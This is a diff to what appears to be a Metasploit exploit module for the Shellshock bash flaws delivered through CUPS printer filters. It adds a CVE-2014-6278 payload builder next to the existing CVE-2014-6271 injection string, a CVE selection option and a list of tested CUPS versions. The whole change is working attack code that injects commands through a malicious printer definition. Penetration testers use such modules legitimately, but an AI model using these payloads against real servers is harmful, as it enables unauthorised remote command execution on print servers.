@@ -19,6 +19,7 @@ def initialize(info = {})
19
19
} ,
20
20
'Author' => [
21
21
'Stephane Chazelas' , # Vulnerability discovery
22
+ 'lcamtuf' , # CVE-2014-6278
22
23
'Brendan Coles <bcoles[at]gmail.com>' # msf
23
24
] ,
24
25
'References' => [
@@ -42,7 +43,11 @@ def initialize(info = {})
42
43
'PayloadType' => 'cmd' ,
43
44
'RequiredCmd' => 'generic bash awk ruby'
44
45
} ,
45
- # Tested on CUPS 1.4.3 and 1.5.3
46
+ # Tested:
47
+ # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
48
+ # - CUPS version 1.5.3 on Debian 7 (x64)
49
+ # - CUPS version 1.6.2 on Fedora 19 (x64)
50
+ # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
46
51
'Targets' => [ [ 'Automatic Targeting' , { 'auto' => true } ] ] ,
47
52
'DefaultTarget' => 0 ,
48
53
'DisclosureDate' => 'Sep 24 2014' ,
@@ -53,6 +58,7 @@ def initialize(info = {})
53
58
OptBool . new ( 'SSL' , [ true , 'Use SSL' , true ] ) ,
54
59
OptString . new ( 'USERNAME' , [ true , 'CUPS username' , 'root' ] ) ,
55
60
OptString . new ( 'PASSWORD' , [ true , 'CUPS user password' , '' ] ) ,
61
+ OptEnum . new ( 'CVE' , [ true , 'CVE to exploit' , 'CVE-2014-6271' , [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ] ) ,
56
62
OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries' , '/bin' ] )
57
63
] , self . class )
58
64
end
@@ -64,6 +70,13 @@ def cve_2014_6271(cmd)
64
70
%{() { :;}; $(#{ cmd } ) & }
65
71
end
66
72
73
+ #
74
+ # CVE-2014-6278
75
+ #
76
+ def cve_2014_6278 ( cmd )
77
+ %{() { _; } >_[$($())] { echo -e "\r \n $(#{ cmd } )\r \n " ; }}
78
+ end
79
+
67
80
#
68
81
# Check credentials
69
82
#
@@ -98,9 +111,17 @@ def exploit
98
111
@cookie = rand_text_alphanumeric ( 16 )
99
112
printer_name = rand_text_alphanumeric ( 10 + rand ( 5 ) )
100
113
114
+ # Select target CVE
115
+ case datastore [ 'CVE' ]
116
+ when 'CVE-2014-6278'
117
+ cmd = cve_2014_6278 ( payload . raw )
118
+ else
119
+ cmd = cve_2014_6271 ( payload . raw )
120
+ end
121
+
101
122
# Add a printer containing the payload
102
123
# with a CUPS filter pointing to /bin/bash
103
- res = add_printer ( printer_name , cve_2014_6271 ( payload . raw ) )
124
+ res = add_printer ( printer_name , cmd )
104
125
if !res
105
126
fail_with ( Failure ::Unreachable , "#{ peer } - Could not add printer - Connection failed." )
106
127
elsif res . body =~ /Set Default Options for #{ printer_name } /
0 commit comments